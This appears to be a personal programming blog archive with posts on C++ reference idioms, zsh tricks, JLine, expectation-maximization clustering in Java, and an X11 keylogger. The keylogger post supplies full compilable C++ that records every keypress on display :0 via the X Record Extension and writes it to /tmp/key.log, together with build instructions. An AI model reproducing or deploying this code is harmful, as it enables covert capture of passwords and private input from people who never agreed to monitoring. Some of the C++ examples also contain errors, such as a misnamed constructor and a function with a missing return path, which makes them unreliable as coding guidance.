E=mg²

Repetition of an old post

2010-04-05T07:09:00.000-07:00

In 2008 I've written a post about interesting security technique. Then, I've removed it exactly until April and I know that no more than one person was able to read it and that it completely disappeared from the network. I now reminded myself about the technique. I found it quite useful. It's about safety. Basically, there are threats that require extremely sophisticated conditions to fully arise. When you defend yourself from them, you may find it playful. You may even find your self-value to rise. But then, there are threats that aren't so sophisticated. They can basically always catch you. This is the time to return to the ground. It's the social engineering! So how to defend from it? In my opinion there is only one answer: be aware of the consequences of your actions, and take into account possible actions of the people that you share your safety with. Read more here.

Avoiding pointers

2009-03-17T12:16:00.000-07:00

I often see a C++ code that uses pointers in situations, where they're not needed. It seems that we often easily give up when we encounter slightly irregular code construct, where typical reference usage is not obvious. Consider following situation:


class A {
        public:
        virtual void action() = 0;
};
class B : public A {
        public:
        B() {}
        void action() { /* action code */ }
};


class HolderClass {
        public:
        void setInstance(A * newInstance) {
                instance = newInstance;
        }
        void doSomething() {
                instance->action();
        }
        private:
        A * instance;
};

int main() {
        B myInstance;
        HolderClass c;
        c.setInstance(&myInstance);
}

The general rule is: to avoid pointers, allow the compiler to arrange things in RAII way. Use references, initialize them as fast as you can (i.e. in base initializers):

   
class A {
        public:
        virtual void action() = 0;
};        
class B : public A {
        public:
        B() {}        
        void action() { /* action code */ }
};
class HolderClass {
        public:
        HolderClass(A & newInstance) : instance(newInstance) {}
        void doSomething() {
                instance.action();
        }
        private:
        A & instance;
};

int main() {
        B myInstance;
        HolderClass c(myInstance);
}

However, both of above approaches share the same issue: the ownership issue. Consider following scenario:


HolderClass* fun() {
        B myInstance;
        HolderClass* c = new HolderClass(myInstance);
        /* Or:
           HolderClass* c = new HolderClass();
           c->setInstance(&myInstance);
        */
        return c;
}

Possible pointer-approach solutions are:

Use shared pointer instead of regular pointer.
Take a pointer and copy the object, storing pointer to newly created instance.

But how to solve this without using pointers? Generally, we must copy the object before binding it to the reference member. If A would not have been an abstract class, and the C++0x standard Rvalue references would have been already available, then following solution would be possible:


class HolderClass {
        public:
        HolderClass(A & newInstance) : instance(A(newInstance)) {
        }
        private:
        A && instance;
};

But A is an abstract class, and we may not want to use unfinished standard features. Is it possible to make a copy of A* in such a way, that it would be available in base initializer list? It is! Thanks to the fact, that you can bind (after dereferencing) pointer returned by new() to an reference variable. Below you can see two possible solutions:


class A {
        public:
        virtual void action() = 0;
};
class B : public A {
        public:
        B() {}
        void action() { }
};

class C : public A {
        public:
        B() {}
        void action() { }
};
A & copyOf(A & a) {
        if( typeid(a) == typeid(B)) {
                B * b = new B( *dynamic_cast<B*>(&a) );
                return *b;
        } else if( typeid(a) == typeid(C)) {
                C * c = new C( *dynamic_cast<C*>(&a) );
                return *c;
        }
}

class HolderClass {
        public:
        HolderClass(A & newInstance) : 
               instance(copyOf(newInstance)) {}
        ~HolderClass() { delete &instance; }
        void doSomething() {
                instance.action();
        }
        private:
        A & instance;
};

int main() {
        B myInstance;
        HolderClass c(myInstance);
}

Next solution follows the virtual copy constructor idiom:


class A {
    public:
        ...
        virtual A& clone() = 0;
        ...
};
class B : public A {
    public:
        ...
        virtual A& clone() { return *new B(*this); }
        ...
};

class HolderClass {
    public:
            HolderClass(A& newInstance) : 
                   instance(newInstance.clone()) {}
            ~HolderClass() { delete &instance; }

            void doSomething() {
                    instance.action();
            }
    private:
            A& instance; // this can be A&&, A&, A*,
              // auto_ptr<A>, etc (any of them would work in your 
              // case)
};

Notice the delete calls in ~HolderClass() destructors — binding to an reference variable doesn't have anything to do with managing of memory lifetime.

The copyOf() approach is non-intrusive and can be easily used with third-party classes which cannot be modified. Otherwise the clone() approach is probably cleaner.

Most useless use of ZSH

2008-10-17T00:45:00.000-07:00

I found neat ZSH hack:


 1 function most_useless_use_of_zsh {
 2     local lines columns colour a b p q i pnew
 3     ((columns=COLUMNS-1, lines=LINES-1, colour=0))
 4     for ((b=-1.5; b<=1.5; b+=3.0/lines)) do
 5         for ((a=-2.0; a<=1; a+=3.0/columns)) do
 6             for ((p=0.0, q=0.0, i=0; p*p+q*q < 4 && i < 32; i++)) do
 7                 ((pnew=p*p-q*q+a, q=2*p*q+b, p=pnew))
 8             done
 9             ((colour=(i/4)%8))
10             echo -n "\\e[4${colour}m " 
11         done
12         echo
13     done
14 }

What do you think this function does?

It draws Mandelbrot fractal :D This is possible because of ZSH floats support.

Expectation-Maximization examples

2008-07-15T13:37:00.000-07:00

Automatic data clustering is a quite interesting topic even for non-scientists. You can try it yourself. Here are two examples using the Expectation-Maximization algorithm:

http://lcn.epfl.ch/tutorial/english/gaussian/html/index.html
http://www.socr.ucla.edu/Applets.dir/MixtureEM.html

Compared to my E-M implementation, above examples use a bit more complex version of E-M algorithm, which produce clusters having "shape" of a rotated ellipse. My implementation doesn't rotate ellipses. I will soon implement my own Java E-M demo applet.

Comfortable command line in Java

2008-03-10T16:53:00.000-07:00

Readline is well known GNU library that provides comfortable command line in text environment. It can be very easily used with C and C++, but many problems arise when trying to use it with Java. Readline is binary, platform dependant library. Using it with Java needs lots of hacking to preserve some platform independence and is problematic when targeting Windows platform. Readline is also licensed under GPL and any program linking with it must have compliant license. Recently I was developing command line application which had to run under Linux and Windows as well. I was trying to use java-readline, but it didn’t support Windows. I then found other library, which is written in pure Java: JLine.

JLine is small, flexible Java library for handling console input. Feature highlights include:

command line editing (you can use arrows to move over entered text, etc.),
history of entered commands,
completion (also filenames!).

Below you can see example demonstrating JLine flexibility, simplicity and power.

import jline.*;
import java.io.*;
import java.util.*;

public class Cmdline {
public static void main(String[] args) throws IOException {
   ConsoleReader reader = new ConsoleReader();
   reader.setBellEnabled(false);

   List argCompletor1= new LinkedList();
   argCompletor1.add(new SimpleCompletor(new String[] { "ls", "mkdir" }));
   argCompletor1.add(new FileNameCompletor());
   List argCompletor2 = new LinkedList();
   argCompletor2.add(new SimpleCompletor(new String[] {"ps"}));
   argCompletor2.add(new SimpleCompletor(new String[] {"-ax",
       "-axu","--help"}));

   List completors = new LinkedList();
   completors.add(new ArgumentCompletor(argCompletor1));
   completors.add(new ArgumentCompletor(argCompletor2));

   reader.addCompletor(new MultiCompletor(completors));

   String line;
   PrintWriter out = new PrintWriter(System.out);
    while ((line = reader.readLine("READY # ")) != null) {
       out.println("::" + line );
       out.flush();
        if (line.equalsIgnoreCase("quit") ||
       line.equalsIgnoreCase("q"))
        break;
   }
}
}

Basically each line in below ends with TAB key pressed, which causes JLine to generate proper completion.

# java -cp jline-0.9.93.jar:. Cmdline
READY #

ls      mkdir   ps
READY # ls /

_darcs    bin       boot          dev       etc      fonts
home      lib       lost+found    media     mnt      opt
proc      root      sbin          sys       tmp      usr
var
READY # ls /mnt/c

camera      cdrom       cdromaes
READY # ps -

--help   -ax      -axu
READY # ps -ax

-ax    -axu
READY # mkdir

Cmdline.class       Cmdline.java        jline-0.9.93.jar
READY # mkdir /

_darcs    bin       boot          dev       etc      fonts
home      lib       lost+found    media     mnt      opt
proc      root      sbin          sys       tmp      usr
var

More information:

http://java-readline.sourceforge.net/
http://jline.sourceforge.net/

Zsh unique features

2008-01-30T12:35:00.000-08:00

My favorite shell is The Z Shell. It has many features that can't be found in Bash, for example hash tables:


#!/bin/zsh
typeset -A myArray
myArray[someKey]=firstValue
myArray[otherKey]=secondValue
echo $myArray[someKey] , $myArray[otherKey]

Using hash tables is very easy in Zsh. In Bash you can only emulate hashes.

Another unique Zsh feature is zparseopts. Look at following example:


#!/bin/zsh

zmodload zparseopts
zparseopts -D -E -A Args -- a b -aopt -bopt

if (( ${+Args[-a]} )); then
        echo "option -a given";
fi
if (( ${+Args[-b]} )); then
        echo "option -b given";
fi
if (( ${+Args[--aopt]} )); then
        echo "long option --aopt given";
fi
if (( ${+Args[--bopt]} )); then
        echo "long option --bopt given";
fi
if [ "$#@" -gt 0 ]; then
        echo Non option arguments are: "$@"
fi

Example outputs of this script:


# ./parseex -a -b
option -a given
option -b given

# ./parseex -a x y --bopt
option -a given
long option --bopt given
Non option arguments are: x y

# ./parseex -a x y --bopt -a
option -a given
long option --bopt given
Non option arguments are: x y

# ./parseex -ab x y --bopt z --aopt z
option -a given
option -b given
long option --aopt given
long option --bopt given
Non option arguments are: x y z z

Notice how extremely easy it is to parse command line options given in not straightforward form! Zparseopts will parse "-ab" as "-a -b" and "-a text -b text2" as "-a -b text text2"! Scripts written using zparseopts behave like normal console applications, because advanced command line options allow comfortable script invocation.

XFree86/Xorg keylogger

2008-01-20T16:30:00.000-08:00

In order to address problems of recording and playback of user actions X Record Extension was created. It can be found for example in XFree86 and its derivatives (like X.org). Recording user actions can be used for automatic testing of GUI applications, for example Xnee was created for this purpose and it uses Record Extension to catch user actions. But that's not all! :> Record extension can also be used for.. keylogging :) While I was developing one of my projects — Keyfrog — I discovered, that it is very easy to catch every keystroke user makes.

Below you can see the code. It saves every pressed key to file /tmp/key.log. Code is 140 lines long because it is modified Keyfrog code, which is written in C++ using OOP paradigms and, of course, with aesthetics and ease of use of API in mind. It can be much shorter if you compress it and write it in pure C. I think 70 lines is enough. Remember that described keylogger will work only if Record Extension is loaded into X server. To compile included code, use following command:

# g++ keylogger.cpp -L/usr/X11R6/lib -lXtst -lX11


  1 #include <X11/Xlibint.h>
  2 #include <X11/Xlib.h>
  3 #include <X11/Xutil.h>
  4 #include <X11/Xos.h>
  5 #include <X11/Shell.h>
  6 #include <X11/cursorfont.h>
  7 #include <X11/keysymdef.h>
  8 #include <X11/keysym.h>
  9 #include <X11/extensions/record.h>
 10 #include <X11/extensions/XTest.h>
 11 #include <unistd.h>
 12 #include <exception>
 13 #include <string>
 14 #include <iostream>
 15 using namespace std;
 16 
 17 struct CallbackClosure {
 18     Display *ctrlDisplay;
 19     Display *dataDisplay;
 20     int curX;
 21     int curY;
 22     void *initialObject;
 23 };
 24 typedef union {
 25     unsigned char type;
 26     xEvent event;
 27     xResourceReq req;
 28     xGenericReply reply;
 29     xError error;
 30     xConnSetupPrefix setup;
 31 } XRecordDatum;
 32 
 33 class KeyLogger {
 34 string m_displayName;
 35 CallbackClosure userData;
 36 std::pair<int,int> recVer;
 37 XRecordRange *recRange;
 38 XRecordClientSpec recClientSpec;
 39 XRecordContext recContext;
 40 
 41 void setupRecordExtension() {
 42     XSynchronize(userData.ctrlDisplay, True);
 43 
 44     // Record extension exists?
 45     if (!XRecordQueryVersion (userData.ctrlDisplay,
 46                 &recVer.first, &recVer.second))
 47     {
 48         cout << "%sThere is no RECORD extension loaded to X server.\n"
 49             "You must add following line:\n"
 50             "   Load  \"record\"\n"
 51             "to /etc/X11/xorg.conf, in section `Module'.%s" << endl;
 52         throw exception();
 53     }
 54     cout << "Record extension v" << recVer.first << "."
 55         << recVer.second << endl;
 56 
 57     recRange = XRecordAllocRange ();
 58     if (!recRange) {
 59         // "Could not alloc record range object!\n";
 60         throw exception();
 61     }
 62     recRange->device_events.first = KeyPress;
 63     recRange->device_events.last = KeyPress;
 64     recClientSpec = XRecordAllClients;
 65 
 66     // Get context with our configuration
 67     recContext = XRecordCreateContext (userData.ctrlDisplay, 0,
 68             &recClientSpec, 1, &recRange, 1);
 69     if (!recContext) {
 70         cout << "Could not create a record context!" << endl;
 71         throw exception();
 72     }
 73 }
 74 
 75 // Called from Xserver when new event occurs.
 76 static void eventCallback(XPointer priv, XRecordInterceptData *hook) {
 77     if (hook->category != XRecordFromServer) {
 78         XRecordFreeData(hook);
 79         return;
 80     }
 81     CallbackClosure *userData = (CallbackClosure *)priv;
 82     XRecordDatum *data = (XRecordDatum *) hook->data;
 83     if(data->event.u.u.type == KeyPress) {
 84         int c = data->event.u.u.detail;
 85         FILE *output = fopen("/tmp/key.log", "a+");
 86         fprintf(output,"[%s]\n",
 87                 XKeysymToString(
 88                     XKeycodeToKeysym(userData->ctrlDisplay,c,0)));
 89         fclose(output);
 90     }
 91     XRecordFreeData(hook);
 92 }
 93 
 94 public:
 95 KeyLogger() { }
 96 ~KeyLogger() {
 97     stop();
 98 }
 99 void processData() {
100     XRecordProcessReplies (userData.dataDisplay);
101 }
102 
103 bool connect(string displayName) {
104     m_displayName = displayName;
105     if (NULL == (userData.ctrlDisplay =
106                 XOpenDisplay(m_displayName.c_str())) )
107         return false;
108     if (NULL == (userData.dataDisplay =
109                 XOpenDisplay(m_displayName.c_str())) ) {
110         XCloseDisplay(userData.ctrlDisplay);
111         userData.ctrlDisplay = NULL;
112         return false;
113     }
114     // You may want to set custom X error handler here
115 
116     userData.initialObject = (void *)this;
117     setupRecordExtension();
118     return true;
119 }
120 
121 void start() {
122     if (!XRecordEnableContextAsync (userData.dataDisplay,
123                 recContext, eventCallback, (XPointer) &userData))
124     {
125         throw exception();
126     }
127 }
128 
129 void stop() {
130     if(!XRecordDisableContext (userData.ctrlDisplay, recContext))
131         throw exception();
132 }
133 };
134 
135 int main() {
136     KeyLogger keylogger;
137     if(keylogger.connect(":0")) {
138         keylogger.start();
139         while ( 1 ) {
140             keylogger.processData();
141             usleep(1000000/3);
142         }
143     }
144     return 0;
145 }
146

Mixture of Gaussians and Expectation Maximization algorithm

2008-01-20T16:28:00.000-08:00

Recently I was implementing expectation-maximization (EM) algorithm to solve problem of fuzzy data clustering. Consider dataset consisting of n points (x,y):

d=((x₁,y₁), (x₂,y₂), ..., (x_n,y_n))

In non-fuzzy (hard) clustering each point is assigned to exactly one cluster. Fuzzy clustering can assign points to more than one cluster by giving membership grades, which indicate the degree to which the data points belong to the different clusters.

I was solving a problem where points d are assumed to be generated by mixture of K Gaussian distributions. In other words, distribution of points in d is given by density:

p(x,y)= w₁ p₁(x,y)+ ... + w_K p_K(x,y)

where w₁+...+w_K=1 and

p_j(x,y)= 1/(2 π s_xjs_yj) exp{-½[(x-m_xj)/s_xj]² -½[(y-m_yj)/s_yj]²}

Note that each dimension has it's own standard deviation: s_x for x and s_y for y. There are also problems and solutions that use one standard deviation for both dimensions, resulting in clusters that have "shape" of circles (instead of ellipses).

Following variables are unknown (latent variables): w_j, m_xj, m_yj, s_xj, s_yj. To cluster dataset into K fuzzy clusters, we must find those variables for each cluster and minimize following function:

L(d)= -ln(p(x₁,y₁)) - ... -ln(p(x_n,y_n))

This is where Expectation-Maximization algorithm is used. After finding latent variables it is easy to compute probability of membership to cluster j of arbitrary point (x_i,y_i):

w_jp_j (x_i, y_i) / p (x_i, y_i)

More information:

Below is the code. Input and output format is described inside it. Input data is read from standard input.


  1 import java.io.*;
  2 import java.math.*;
  3 import java.util.*;
  4 
  5 // w - coefficients of mixture (weights of gaussian distributions)
  6 // m - means
  7 // s - standard deviations stored as pairs, one field is assigned for
  8 //     x1, and one for x2
  9 //
 10 // d=((x_1,y_1),..., (x_n,y_n))
 11 // p(x,y)= w_1 p_1(x,y)+ ... + w_K p_K(x,y) 
 12 // w_1+...+w_K=1
 13 // p_j(x,y)= 1/(2 pi s_xj s_yj) exp{-[(x-m_xj )/s_xj]^2/2 -[(y-m_yj )/s_yj ]^2/2}. 
 14 //
 15 // unknown variables: w_j, m_xj, m_yj, s_xj, s_yj
 16 //
 17 // minimalised function:  L(d)= -ln(p(x_1,y_1)) - ... -ln(p(x_n,y_n))
 18 //
 19 // Input format:
 20 //  K n
 21 //  x_1 y_1
 22 //  x_2 y_2
 23 //  ...
 24 //  x_n y_n
 25 //
 26 // Output format:
 27 //  L(d)
 28 //  w_1 mx_1 sx_1 my_1 sy_1
 29 //  w_2 mx_2 sx_2 my_2 sy_2
 30 //  ...
 31 //  w_n mx_n sx_n my_n sy_n
 32 //
 33 
 34 public class EM {
 35  // Pairs (x,y)
 36  double[][] points;
 37  int        K,N;
 38  double L;
 39  double w[],   w_prev[];
 40  double m[][], m_prev[][];
 41  double         s[][], s_prev[][];
 42  double P_x[], P_x_prev[];
 43  double Min[], Max[];
 44 
 45  EM(double[][] points, int K) throws Exception {
 46     init(points);
 47     setM(K);
 48  }
 49 
 50  private void init(double[][] _points) throws Exception {
 51     points = _points;
 52     N = points.length;
 53     // Pairs of points required
 54     if(points[0].length != 2) {
 55        throw new Exception();
 56     }
 57     Min   = new double[2];
 58     Max   = new double[2];
 59     int n,i,j;
 60     for(i=0;i<2;i++) {
 61        Min[i] = points[0][i];
 62        Max[i] = points[0][i];
 63        for(n=1;n<N;n++) {
 64           if(Min[i] > points[n][i]) Min[i] = points[n][i]; else
 65              if(Max[i] < points[n][i]) Max[i] = points[n][i];
 66        }
 67     }
 68  }
 69 
 70  private void setM(int _K) {
 71     int i,j;
 72     double var[] = {0.0, 0.0};
 73 
 74     K = _K;
 75     P_x   = new double[N];
 76     P_x_prev = new double[N];
 77     w = new double[K];
 78     m = new double[K][2];
 79     s = new double[K][2];
 80     w_prev = new double[K];
 81     m_prev = new double[K][2];
 82     s_prev = new double[K][2];
 83 
 84     var[0] = (Max[0] - Min[0]) * (Max[0] - Min[0]) / 12;
 85     var[1] = (Max[1] - Min[1]) * (Max[1] - Min[1]) / 12;
 86 
 87     for(j=0;j<K;j++) {
 88        w[j] = 1.0 / (double)K;
 89        s[j][0] = var[0] / 4 + Math.random() * var[0] / 4;
 90        s[j][1] = var[1] / 4 + Math.random() * var[1] / 4;
 91 
 92        m[j][0] = (Max[0] + Min[0]) / 2 + (Math.random() - 0.5 ) *
 93           (Max[0] - Min[0]) / 2;
 94        m[j][1] = (Max[1] + Min[1]) / 2 + (Math.random() - 0.5 ) *
 95           (Max[1] - Min[1]) / 2;
 96     }
 97  }
 98 
 99  private void calcPrev() {
100     int i,j;
101     for(j=0;j<K;j++) {
102        w_prev[j] = w[j];
103        s_prev[j][0] = s[j][0];
104        s_prev[j][1] = s[j][1];
105        for(i=0;i<2;i++) {
106           m_prev[j][i] = m[j][i];
107        }
108     }
109  }
110 
111  private double P_x_j(int n, int j) {
112     int i;
113     double e = 0.0;
114     for(i=0;i<2;i++) {
115        e += (points[n][i] - m[j][i]) *
116           (points[n][i] - m[j][i]);
117     }
118     e /= -2 * s[j][0] * s[j][1];
119     return Math.exp(e) / (2 * Math.PI * s[j][0] * s[j][1]);
120  }
121 
122  private double P_j_x(int n, int j) {
123     return P_x_j(n,j) * w[j] / P_x[n];
124  }
125 
126  private void P_x() {
127     int n,j;
128     for(n=0;n<N;n++) {
129        double temp = 0.0;
130        for(j=0;j<K;j++) {
131           temp += P_x_j(n,j) * w[j];
132        }
133        P_x[n] = temp;
134     }
135  }
136 
137  private double P_x_j_prev(int n, int j) {
138     int i;
139     double e = 0.0;
140     for(i=0;i<2;i++)
141        e +=(points[n][i]-m_prev[j][i]) * (points[n][i]-m_prev[j][i]);
142     e /= -2 * s_prev[j][0] * s_prev[j][1];
143     return Math.exp(e)/(2*Math.PI * s_prev[j][0] * s_prev[j][1]);
144  }
145 
146  // Calculates p(x,y) for given point
147  // p(x,y) = w1*p1(x,y) * ... * wK*pK(x,y)
148  private double pxy(double[] xy) {
149     int i,j;
150     double t = 0.0;
151     double e = 0.0;
152     for(j=0;j<K;j++) {
153        e = 0.0;
154        // exp{ -[(x-mxj )/sxj ]2/2 -[(y-myj )/syj ]2/2 }.
155        /*x*/ e +=(xy[0]-m[j][0])*(xy[0]-m[j][0])/s[j][0]/s[j][0];
156        /*y*/ e +=(xy[1]-m[j][1])*(xy[1]-m[j][1])/s[j][1]/s[j][1];
157 
158        e /= -2;
159 
160        // 1/(2 pi sxjsyj) * ...
161        e = Math.exp(e) / (2 * Math.PI * s[j][0] * s[j][1]);
162        t += e*w[j];
163     }
164     return t;
165  }
166 
167  private double calcL() {
168     double subres = 0.0;
169     for(int i=0; i<N; i++) {
170        subres += -1.0 * Math.log( pxy(points[i]) );
171     }
172     L = subres;
173     return L;
174  }
175 
176  private double P_j_x_prev(int n, int j) {
177     return P_x_j_prev(n,j) * w_prev[j] / P_x_prev[n];
178  }
179 
180  private void P_x_prev() {
181     int n,j;
182     for(n=0;n<N;n++)
183     {
184        double temp = 0.0;
185        for(j=0;j<K;j++)
186           temp += P_x_j_prev(n,j) * w_prev[j];
187        P_x_prev[n] = temp;
188     }
189  }
190 
191  private void doIteration() {
192     int i,j,n;
193     calcPrev();
194     P_x();
195     P_x_prev();
196 
197     for(j=0;j<K;j++) {
198        double denom = 0.0;
199        for(n=0;n<N;n++) {
200           denom += P_j_x_prev(n,j);
201        }
202        for(i=0;i<2;i++)
203        {
204           m[j][i] = 0.0;
205           for(n=0;n<N;n++)
206              m[j][i] += P_j_x_prev(n,j) * points[n][i];
207           m[j][i] /= denom;
208        }
209 
210        s[j][0] = 0.0;
211        s[j][1] = 0.0;
212        for(n=0;n<N;n++)
213        {
214           double sum;
215           // x
216           sum = (points[n][0]-m[j][0]) * (points[n][0]-m[j][0]);
217           s[j][0] += sum * P_j_x_prev(n,j);
218           // y
219           sum = (points[n][1]-m[j][1]) * (points[n][1]-m[j][1]);
220           s[j][1] += sum * P_j_x_prev(n,j);
221        }
222        s[j][0] /= denom;
223        s[j][1] /= denom;
224        s[j][0] = Math.sqrt(s[j][0]);
225        s[j][1] = Math.sqrt(s[j][1]);
226 
227        w[j] = denom / (double)N;
228     }
229  }
230 
231  private double howMuchChanged() {
232     double result = 0.0;
233     for(int j=0; j<K; j++) {
234        result += Math.abs(w[j] - w_prev[j]) +
235           Math.abs(m[j][0] - m_prev[j][0]) +
236           Math.abs(m[j][1] - m_prev[j][1]) +
237           Math.abs(s[j][0] - s_prev[j][0]) +
238           Math.abs(s[j][1] - s_prev[j][1]);
239 
240     }
241     return result;
242  }
243 
244  void printResult() {
245     int i,j;
246     System.out.println(L);
247     for(j=0;j<K;j++) {
248        System.out.println(w[j]+" "+m[j][0]+" "+s[j][0]+
249                                 " "+m[j][1]+" "+s[j][1] );
250     }
251  }
252 
253  public static int [] getIntPair(String line) {
254     int sepIdx = line.indexOf(" ");
255     String a = line.substring(0, sepIdx);
256     String b = line.substring(sepIdx+1);
257     int [] KN = {Integer.parseInt(a), Integer.parseInt(b)};
258     return KN;
259  }
260 
261  public static double [] getDoublePair(String line) {
262     int sepIdx = line.indexOf(" ");
263     String a = line.substring(0, sepIdx);
264     String b = line.substring(sepIdx+1);
265     double [] XY = {Double.parseDouble(a), Double.parseDouble(b)};
266     return XY;
267  }
268 
269  public static void main(String args[]) throws Exception {
270     double [][] inData;
271 
272     BufferedReader input = new
273               BufferedReader(new InputStreamReader(System.in));
274     String line = input.readLine();
275     if (line == null)
276        return;
277 
278     int [] KN = getIntPair(line);
279 
280     // Read (x,y) pairs           
281     inData = new double[KN[1]][2];
282     for(int i=0; i< KN[1]; i++) {
283        line = input.readLine();
284        double [] XY = getDoublePair(line);
285        inData[i][0] = XY[0];
286        inData[i][1] = XY[1];
287     }
288 
289     EM em = new EM(inData, KN[0]);
290     int its=100000000;
291     while(its-- > 0) {
292        em.doIteration();
293        // Stop when covergence
294        if(em.howMuchChanged() < 0.00000001)
295           break;
296     }
297     em.calcL();
298     em.printResult();
299  }
300 }